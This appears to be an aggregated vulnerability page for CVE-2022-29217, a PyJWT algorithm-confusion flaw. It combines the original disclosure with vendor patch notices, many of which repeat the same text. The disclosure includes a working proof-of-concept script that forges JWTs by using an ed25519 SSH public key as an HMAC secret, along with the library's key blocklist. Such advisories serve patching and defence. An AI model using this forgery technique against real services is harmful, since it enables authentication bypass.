CVE-2022-29217

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.

Impact

What kind of vulnerability is it? Who is impacted?

Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).

PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm.

The PyJWT library requires that the application chooses what algorithms are supported. The application can specify "jwt.algorithms.get_default_algorithms()" to get support for all algorithms. They can also specify a single one of them (which is the usual use case if calling jwt.decode directly. However, if calling jwt.decode in a helper function, all algorithms might be enabled.)

For example, if the user chooses "none" algorithm and the JWT checker supports that, there will be no signature checking. This is a common security issue with some JWT implementations.

PyJWT combats this by requiring that the if the "none" algorithm is used, the key has to be empty. As the key is given by the application running the checker, attacker cannot force "none" cipher to be used.

Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with "ssh-rsa". If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify.

From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with "ssh-", for example "ssh-ed25519".

import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519

# Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()

# Get private key bytes as they would be stored in a file
priv_key_bytes = 
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, 
encryption_algorithm=serialization.NoEncryption())

# Get public key bytes as they would be stored in a file
pub_key_bytes = 
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)

# Making a good jwt token that should work by signing it with the 
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")

# Using HMAC with the public key to trick the receiver to think that the 
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")

# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
     print("POC Successfull")

# Of course the receiver should specify ed25519 algorithm to be used if 
they specify ed25519 public key. However, if other algorithms are used, 
the POC does not work
# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#
#        invalid_strings = [
#            b"-----BEGIN PUBLIC KEY-----",
#            b"-----BEGIN CERTIFICATE-----",
#            b"-----BEGIN RSA PUBLIC KEY-----",
#            b"ssh-rsa",
#        ]
#
# However, OKPAlgorithm (ed25519) accepts the following in 
jwt/algorithms.py:
#
#                if "-----BEGIN PUBLIC" in str_key:
#                    return load_pem_public_key(key)
#                if "-----BEGIN PRIVATE" in str_key:
#                    return load_pem_private_key(key, password=None)
#                if str_key[0:4] == "ssh-":
#                    return load_ssh_public_key(key)
#
# These should most likely made…

PyJWT is a Python library which allows you to encode and decode JSON Web Tokens (JWT). \ JWT is an open, industry-standard (RFC 7519) for representing claims securely between two parties.

Security Fix(es):

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.(CVE-2022-29217)

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.

TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 2.3.0.post1+tuxcare.

TuxCare rebuilt dnspython to address 1 CVE. Fixed in 2.3.0.post1+tuxcare.

TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 1.7.1.post1+tuxcare.

TuxCare rebuilt pyjwt to address 3 CVEs. Fixed in 1.7.1.post3+tuxcare.

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.

An attacker submitting the JWT token can choose the used signing algorithm (CVE-2022-29217)

These are all security issues fixed in the python310-PyJWT-2.4.0-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the python311-PyJWT-2.10.1-2.1 package on the GA media of openSUSE Tumbleweed.

PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.

This update for python-PyJWT fixes the following issues:

• CVE-2022-29217: Fixed key confusion through non-blocklisted public key format (bsc#1199756).

This update for python-PyJWT fixes the following issues:

• CVE-2022-29217: Fixed key confusion through non-blocklisted public key format (bsc#1199756).

This update for python-PyJWT fixes the following issues:

• CVE-2022-29217: Fixed key confusion through non-blocklisted public key format (bsc#1199756).

This update for python-PyJWT fixes the following issues:

• CVE-2022-29217: Fixed key confusion through non-blocklisted public key formats (bsc#1199756).

This update for python-PyJWT fixes the following issues:

• CVE-2022-29217: Fixed Key confusion through non-blocklisted public key formats (bsc#1199756).

• Update in SLE-15 (bsc#1199282, jsc#PM-3243, jsc#SLE-24629)

• Update to 2.4.0 (bsc#1199756)

  • Explicit check the key for ECAlgorithm
  • Don't use implicit optionals
  • documentation fix: show correct scope
  • fix: Update copyright information
  • Don't mutate options dictionary in .decode_complete()
  • Add support for Python 3.10
  • api_jwk: Add PyJWKSet.getitem
  • Update usage.rst
  • Docs: mention performance reasons for reusing RSAPrivateKey when encoding
  • Fixed typo in usage.rst
  • Add detached payload support for JWS encoding and decoding
  • Replace various string interpolations with f-strings by

Aapo Oksman discovered that PyJWT incorrectly handled signatures constructed from SSH public keys. A remote attacker could use this to forge a JWT signature.